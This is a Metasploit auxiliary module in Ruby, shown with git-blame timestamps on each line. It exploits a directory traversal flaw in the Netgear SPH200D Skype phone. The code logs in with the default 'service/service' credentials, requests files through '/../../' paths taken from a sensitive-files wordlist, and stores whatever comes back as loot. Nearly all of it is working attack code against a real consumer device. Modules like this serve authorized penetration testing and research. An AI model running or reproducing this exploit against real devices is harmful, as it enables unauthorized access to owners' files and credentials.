2013-01-29 21:02:29 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-01-29 21:02:29 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-01-29 21:02:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Netgear SPH200D Directory Traversal Vulnerability',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a directory traversal vulnerablity which is present in
|
|
|
|
Netgear SPH200D Skype telephone.
|
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'BID', '57660' ],
|
|
|
|
[ 'EDB', '24441' ],
|
|
|
|
[ 'URL', 'http://support.netgear.com/product/SPH200D' ],
|
|
|
|
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ]
|
|
|
|
],
|
|
|
|
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line",
|
2013-09-26 19:34:48 +00:00
|
|
|
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
|
2016-05-27 23:37:04 +00:00
|
|
|
OptString.new('HttpUsername',[ true, 'User to login with', 'service']),
|
2016-05-27 23:31:54 +00:00
|
|
|
OptString.new('HttpPassword',[ true, 'Password to login with', 'service'])
|
2013-08-30 21:28:54 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def extract_words(wordfile)
|
|
|
|
return [] unless wordfile && File.readable?(wordfile)
|
|
|
|
begin
|
|
|
|
words = File.open(wordfile, "rb") do |f|
|
|
|
|
f.read
|
|
|
|
end
|
|
|
|
rescue
|
|
|
|
return []
|
|
|
|
end
|
|
|
|
save_array = words.split(/\r?\n/)
|
|
|
|
return save_array
|
|
|
|
end
|
|
|
|
|
2015-04-03 11:12:23 +00:00
|
|
|
# traverse every file
|
2013-08-30 21:28:54 +00:00
|
|
|
def find_files(file,user,pass)
|
|
|
|
traversal = '/../../'
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(traversal, file),
|
|
|
|
'authorization' => basic_auth(user,pass)
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/
|
2016-02-01 22:06:34 +00:00
|
|
|
print_good("Request may have succeeded on file #{file}")
|
2013-08-30 21:28:54 +00:00
|
|
|
report_web_vuln({
|
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:vhost => datastore['VHOST'],
|
|
|
|
:path => "/",
|
|
|
|
:pname => normalize_uri(traversal, file),
|
|
|
|
:risk => 3,
|
|
|
|
:proof => normalize_uri(traversal, file),
|
|
|
|
:name => self.fullname,
|
|
|
|
:category => "web",
|
|
|
|
:method => "GET"
|
|
|
|
})
|
|
|
|
|
2015-05-08 17:52:59 +00:00
|
|
|
loot = store_loot("lfi.data","text/plain", rhost, res.body, file)
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_good("File #{file} downloaded to: #{loot}")
|
2013-08-30 21:28:54 +00:00
|
|
|
elsif res and res.code
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_error("Attempt returned HTTP error #{res.code} when trying to access #{file}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
2016-05-27 23:37:04 +00:00
|
|
|
user = datastore['HttpUsername']
|
2016-05-27 23:31:54 +00:00
|
|
|
pass = datastore['HttpPassword']
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_status("Trying to login with #{user} / #{pass}")
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2015-04-03 11:12:23 +00:00
|
|
|
# test login
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/',
|
|
|
|
'method' => 'GET',
|
|
|
|
'authorization' => basic_auth(user,pass)
|
|
|
|
})
|
|
|
|
|
|
|
|
return :abort if res.nil?
|
|
|
|
return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/)
|
|
|
|
return :abort if (res.code == 404)
|
|
|
|
|
|
|
|
if [200, 301, 302].include?(res.code)
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_good("Successful login #{user}/#{pass}")
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_error("No successful login possible with #{user}/#{pass}")
|
2013-08-30 21:28:54 +00:00
|
|
|
return :abort
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionError
|
2016-02-01 22:06:34 +00:00
|
|
|
vprint_error("Failed to connect to the web server")
|
2013-08-30 21:28:54 +00:00
|
|
|
return :abort
|
|
|
|
end
|
|
|
|
|
|
|
|
extract_words(datastore['FILELIST']).each do |file|
|
|
|
|
find_files(file,user,pass) unless file.empty?
|
|
|
|
end
|
|
|
|
end
|
2013-01-29 21:02:29 +00:00
|
|
|
end
|